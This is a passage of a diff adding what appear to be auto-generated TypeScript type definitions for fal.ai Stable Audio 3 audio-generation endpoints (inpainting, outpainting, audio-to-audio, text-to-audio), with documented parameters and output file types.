@type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumBaseAudioInpaintingOutputFormatEnumKey + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Source audio. Only the masked region is regenerated. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Start of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 380 + * @example 4 + * @type number + */ + mask_start_seconds: number +} + +export type File14Fbde5F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumBaseAudioInpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File14Fbde5F +} + +export const inputFalAiStableAudio3MediumBaseAudioOutpaintingOutputFormatEnum = + { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', + } as const + +export type InputFalAiStableAudio3MediumBaseAudioOutpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumBaseAudioOutpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumBaseAudioOutpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3MediumBaseAudioOutpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Seconds of new audio to generate after the source audio. + * @minimum 0 + * @maximum 380 + * @default 0 + * @example 30 + * @type number | undefined + */ + extend_seconds_after?: number + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding the extension content. + * @example soft strings continue the melody + * @type string + */ + prompt: string + /** + * @description Source audio to extend. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumBaseAudioOutpaintingOutputFormatEnumKey + /** + * @description Seconds of new audio to generate before the source audio. + * @minimum 0 + * @maximum 380 + * @default 0 + * @example 0 + * @type number | undefined + */ + extend_seconds_before?: number + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File2Be96826 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumBaseAudioOutpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File2Be96826 +} + +export const inputFalAiStableAudio3MediumBaseAudioToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3MediumBaseAudioToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumBaseAudioToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumBaseAudioToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3MediumBaseAudioToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description How much noise to add to the source audio. 1.0 fully replaces the audio with noise (pure generation); 0.1 keeps the source close to the input. 0.5 sits halfway between. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + init_noise_level?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the source audio should be transformed. + * @example bossa nova bassline + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Source audio to transform. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumBaseAudioToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. The medium model supports up to 380 seconds (~6m20s). + * @minimum 1 + * @maximum 380 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File5603Ffc2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumBaseAudioToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File5603Ffc2 +} + +export const inputFalAiStableAudio3MediumBaseTextToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3MediumBaseTextToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumBaseTextToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumBaseTextToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3MediumBaseTextToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description of the audio to generate. + * @example An anthemic Pop Rock instrumental that fills your head with nostalgic thoughtfulness + * @type string + */ + prompt: string + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumBaseTextToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. The medium model supports up to 380 seconds (~6m20s). + * @minimum 1 + * @maximum 380 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File56Cc53D1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumBaseTextToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File56Cc53D1 +} + +export const inputFalAiStableAudio3MediumTextToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3MediumTextToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumTextToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumTextToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3MediumTextToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description of the audio to generate. + * @example An anthemic Pop Rock instrumental that fills your head with nostalgic thoughtfulness + * @type string + */ + prompt: string + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumTextToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. The medium model supports up to 380 seconds (~6m20s). + * @minimum 1 + * @maximum 380 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileF6Da8Dd3 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumTextToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileF6Da8Dd3 +} + +export const inputFalAiStableAudio3SmallMusicAudioInpaintingOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallMusicAudioInpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicAudioInpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicAudioInpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicAudioInpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the masked region is regenerated. + * @example punchy kick drum fill + * @type string + */ + prompt: string + /** + * @description End of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 8 + * @type number + */ + mask_end_seconds: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicAudioInpaintingOutputFormatEnumKey + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Source audio. Only the masked region is regenerated. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Start of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 4 + * @type number + */ + mask_start_seconds: number +} + +export type File5B121D39 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicAudioInpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File5B121D39 +} + +export const inputFalAiStableAudio3SmallMusicAudioOutpaintingOutputFormatEnum = + { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', + } as const + +export type InputFalAiStableAudio3SmallMusicAudioOutpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicAudioOutpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicAudioOutpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicAudioOutpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Seconds of new audio to generate after the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 30 + * @type number | undefined + */ + extend_seconds_after?: number + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding the extension content. + * @example soft strings continue the melody + * @type string + */ + prompt: string + /** + * @description Source audio to extend. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicAudioOutpaintingOutputFormatEnumKey + /** + * @description Seconds of new audio to generate before the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 0 + * @type number | undefined + */ + extend_seconds_before?: number + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDfb48444 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicAudioOutpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileDfb48444 +} + +export const inputFalAiStableAudio3SmallMusicAudioToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallMusicAudioToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicAudioToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicAudioToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicAudioToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description How much noise to add to the source audio. 1.0 fully replaces the audio with noise (pure generation); 0.1 keeps the source close to the input. 0.5 sits halfway between. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + init_noise_level?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the source audio should be transformed. + * @example bossa nova bassline + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Source audio to transform. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicAudioToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileFb25993C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicAudioToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileFb25993C +} + +export const inputFalAiStableAudio3SmallMusicBaseAudioInpaintingOutputFormatEnum = + { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', + } as const + +export type InputFalAiStableAudio3SmallMusicBaseAudioInpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicBaseAudioInpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicBaseAudioInpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicBaseAudioInpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the masked region is regenerated. + * @example punchy kick drum fill + * @type string + */ + prompt: string + /** + * @description End of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 8 + * @type number + */ + mask_end_seconds: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicBaseAudioInpaintingOutputFormatEnumKey + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Source audio. Only the masked region is regenerated. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Start of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 4 + * @type number + */ + mask_start_seconds: number +} + +export type FileB33E8447 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicBaseAudioInpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileB33E8447 +} + +export const inputFalAiStableAudio3SmallMusicBaseAudioOutpaintingOutputFormatEnum = + { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', + } as const + +export type InputFalAiStableAudio3SmallMusicBaseAudioOutpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicBaseAudioOutpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicBaseAudioOutpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicBaseAudioOutpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Seconds of new audio to generate after the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 30 + * @type number | undefined + */ + extend_seconds_after?: number + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding the extension content. + * @example soft strings continue the melody + * @type string + */ + prompt: string + /** + * @description Source audio to extend. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicBaseAudioOutpaintingOutputFormatEnumKey + /** + * @description Seconds of new audio to generate before the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 0 + * @type number | undefined + */ + extend_seconds_before?: number + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileB2Bf4F6E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicBaseAudioOutpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileB2Bf4F6E +} + +export const inputFalAiStableAudio3SmallMusicBaseAudioToAudioOutputFormatEnum = + { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', + } as const + +export type InputFalAiStableAudio3SmallMusicBaseAudioToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicBaseAudioToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicBaseAudioToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicBaseAudioToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description How much noise to add to the source audio. 1.0 fully replaces the audio with noise (pure generation); 0.1 keeps the source close to the input. 0.5 sits halfway between. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + init_noise_level?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the source audio should be transformed. + * @example bossa nova bassline + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Source audio to transform. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 